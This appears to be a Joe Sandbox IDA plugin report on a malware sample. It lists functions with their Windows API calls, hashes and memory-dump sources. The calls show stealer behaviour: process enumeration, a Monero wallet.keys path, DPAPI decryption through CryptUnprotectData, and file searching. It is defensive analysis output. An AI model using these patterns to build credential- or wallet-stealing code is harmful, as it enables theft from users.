Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !~}~$.{K$i7$ti?w$v]m
API String ID: 0-2759975825
Opcode ID: 61b607db957c19a0acfc60b4a4f12f5db2834b4f0cf754d375b2ade28b55d585
Instruction ID: 9b6ef43cd8ffe009dd006265b2fd6903724df1383b89850874da8fe1b6274a5e
Opcode Fuzzy Hash: 61b607db957c19a0acfc60b4a4f12f5db2834b4f0cf754d375b2ade28b55d585
Instruction Fuzzy Hash: 9C3259F360C204AFE308AE2DEC9577ABBE5EB94320F15863DEAC4C7744E93558018796

Function 00E58680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00E605B7), ref: 00E586CA
Process32First.KERNEL32(?,00000128), ref: 00E586DE
Process32Next.KERNEL32(?,00000128), ref: 00E586F3

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

CloseHandle.KERNEL32(?), ref: 00E58761

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: e31a5b3060ba4856ed12f999ae7b4ea3043793bcfb8cf1042eb5fb8b39a9648b
Instruction ID: 119dbc5f5bbf38287f0761062e2ad06329fb3b635ff409236bb3a9edaee48f15
Opcode Fuzzy Hash: e31a5b3060ba4856ed12f999ae7b4ea3043793bcfb8cf1042eb5fb8b39a9648b
Instruction Fuzzy Hash: 00314F71901218EBCB24DF54DC45FEEB7B8FB49701F1056AAF90AB2190DB346A49CFA1

Function 00E58EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00E45184,40000001,00000000,00000000,?,00E45184), ref: 00E58EC0

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: a41c019ca999140bc1061efe67c5c22e2f32e4627de679263f52b89180ba0dd3
Instruction ID: b0dcfa6239174fe6bf1c7bf5d66e252823fa6b9635bcde0ae57603dcb72d04c3
Opcode Fuzzy Hash: a41c019ca999140bc1061efe67c5c22e2f32e4627de679263f52b89180ba0dd3
Instruction Fuzzy Hash: 01110A70304208EFDB04CF64DD85FAA33A9AF89319F10A848FD59AB244DB35EC45DB60

Function 00E57980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E60E00,00000000,?), ref: 00E579B0
RtlAllocateHeap.NTDLL(00000000), ref: 00E579B7
GetLocalTime.KERNEL32(?,?,?,?,?,00E60E00,00000000,?), ref: 00E579C4
wsprintfA.USER32 ref: 00E579F3

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: f4aa8f7a1e1587b32247805f8b7200a3e6d941e43cc4f9e5bc5a34858c8547da
Instruction ID: 08d80b00bf361ce62bb3857a22bea02790d3f26882cff40736bd53eb742d2712
Opcode Fuzzy Hash: f4aa8f7a1e1587b32247805f8b7200a3e6d941e43cc4f9e5bc5a34858c8547da
Instruction Fuzzy Hash: D51118B2A08118EACB249FC9D945BBEB7F8EB4CB11F10451AF685A2684D63D5940C7B0

Function 00E57A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01CBE9A8,00000000,?,00E60E10,00000000,?,00000000,00000000), ref: 00E57A63
RtlAllocateHeap.NTDLL(00000000), ref: 00E57A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01CBE9A8,00000000,?,00E60E10,00000000,?,00000000,00000000,?), ref: 00E57A7D
wsprintfA.USER32 ref: 00E57AB7

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 6b624108493799ff4640eb52357740273fc9c501ed0c3c0ef197544b646349ca
Instruction ID: e84c9acffb60fee05c6fe77d846fd87763984288645bc16377506a2bcb220ee4
Opcode Fuzzy Hash: 6b624108493799ff4640eb52357740273fc9c501ed0c3c0ef197544b646349ca
Instruction Fuzzy Hash: C91182B1A49218DBDB208B54DC45F99B778F704721F104796E946A32C0C7781E54CF50

Function 00E53720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00E5E118,00000000,00000001,00E5E108,00000000), ref: 00E53758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00E537B0

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 520f6caf141561544f4959666ee4a648e86328c67fa98e565bc1e0d83bb27328
Instruction ID: 6c44a3053d0aec1690c8bbd651907636af1c449d092499ce796eff30b98dd4e9
Opcode Fuzzy Hash: 520f6caf141561544f4959666ee4a648e86328c67fa98e565bc1e0d83bb27328
Instruction Fuzzy Hash: 4F410771A00A289FDB28DB58CC94B9BB7B5BB48702F4055D8E609E72D0E771AE85CF50

Function 00E49B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E49B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00E49BA3
LocalFree.KERNEL32(?), ref: 00E49BD3

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: ab39f4229d97cd29e7f602d87fc5b8271d5e60d862f1406477809bfc249e90b6
Instruction ID: 1fdd0b5ec9eeb576e2c16659bbcc3cfe2fe2ce72bccdc4258add465e97f564fa
Opcode Fuzzy Hash: ab39f4229d97cd29e7f602d87fc5b8271d5e60d862f1406477809bfc249e90b6
Instruction Fuzzy Hash: C21109B8A00209EFCB04DF94D985AAEB7B5FF88300F104599E855A7344D775AE10CFA1

Function 01211502 Relevance: 4.1, Strings: 2, Instructions: 1615COMMON

Download Yara Rule

Strings

|7J, xrefs: 012126DF
~2^, xrefs: 01212888

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ~2^$|7J
API String ID: 0-2527045163
Opcode ID: 81ef113b4892cdd65318fa46419245b08200377ffef2f35962dce3349a0f0883
Instruction ID: e9eecc182e3db7ad8a5606063da7a0dba3e6166ad7caa20f4c35859502ac37ec
Opcode Fuzzy Hash: 81ef113b4892cdd65318fa46419245b08200377ffef2f35962dce3349a0f0883
Instruction Fuzzy Hash: D3B203F390C2149FE304AE29EC8567ABBE9EF94720F16493DEAC4C3744EA3558418793

Function 0120FB28 Relevance: 4.1, Strings: 2, Instructions: 1561COMMON

Download Yara Rule

Strings

6_s, xrefs: 0120FDBF
+xl, xrefs: 0120FE42

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6_s$+xl
API String ID: 0-3448275489
Opcode ID: 5b93619212720a487a564321c058c25581d31f8b90c42024c06a5d8d7bdde061
Instruction ID: 0c5542bb15cedd0d353b6629710a7e24d17683b8867869aa4eead3f53814d031
Opcode Fuzzy Hash: 5b93619212720a487a564321c058c25581d31f8b90c42024c06a5d8d7bdde061
Instruction Fuzzy Hash: 0EB2F8F3A082049FE304AE2DEC8567AFBE5EF94720F1A453DEAC4C3744E63558158697

Function 00E4F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00E615B8,00E60D96), ref: 00E4F71E
StrCmpCA.SHLWAPI(?,00E615BC), ref: 00E4F76F
StrCmpCA.SHLWAPI(?,00E615C0), ref: 00E4F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00E4FAB1
FindClose.KERNEL32(000000FF), ref: 00E4FAC3

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: b14ec3cb64f64cf45923836c01a7f51de4629b26966d2d61be8cfe0f58c75f46
Instruction ID: ef8740f52c2910ff98ef2be27c2feb47d97976ddc7fa6f66566177c540508f13
Opcode Fuzzy Hash: b14ec3cb64f64cf45923836c01a7f51de4629b26966d2d61be8cfe0f58c75f46
Instruction Fuzzy Hash: 0B11753180411D9BDB18EB60EC599ED73B8AF10301F445BBAA91A67492EF302B4EC792

Function 010F775B Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

fag;, xrefs: 010F793D

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: fag;
API String ID: 0-3987456656
Opcode ID: f853d83219a1214908cfce307361d0eb6fa7facba4bbd5c473b6717dfe787296
Instruction ID: dcffcbae420370c76b3d9dbec14817b93d2283b503de2fc3778581d4e3e266ec
Opcode Fuzzy Hash: f853d83219a1214908cfce307361d0eb6fa7facba4bbd5c473b6717dfe787296
Instruction Fuzzy Hash: 3B717BF3E182085BE3046D29DC897BAFAD6EBD4320F1F463DDBC997380E87958054296

Function 010AC693 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

i>v, xrefs: 010AC7BC

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: i>v
API String ID: 0-3125800013
Opcode ID: 42ec717cc9a8388b6c99f9a3ae40737a6675b38e7330ffe7ca8270cc17d17921
Instruction ID: ceffc669c5a8ee904b39349109f5b49ba45243ceda39e059b427108b13a61afd
Opcode Fuzzy Hash: 42ec717cc9a8388b6c99f9a3ae40737a6675b38e7330ffe7ca8270cc17d17921
Instruction Fuzzy Hash: 556129F3A082049BF3086E2DDC8577AF7D5EBD4320F1A463DEAC593784E93968058696

Function 01115D76 Relevance: 1.4, Strings: 1, Instructions: 192COMMON

Download Yara Rule

Strings

R|Zv, xrefs: 01115E85

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
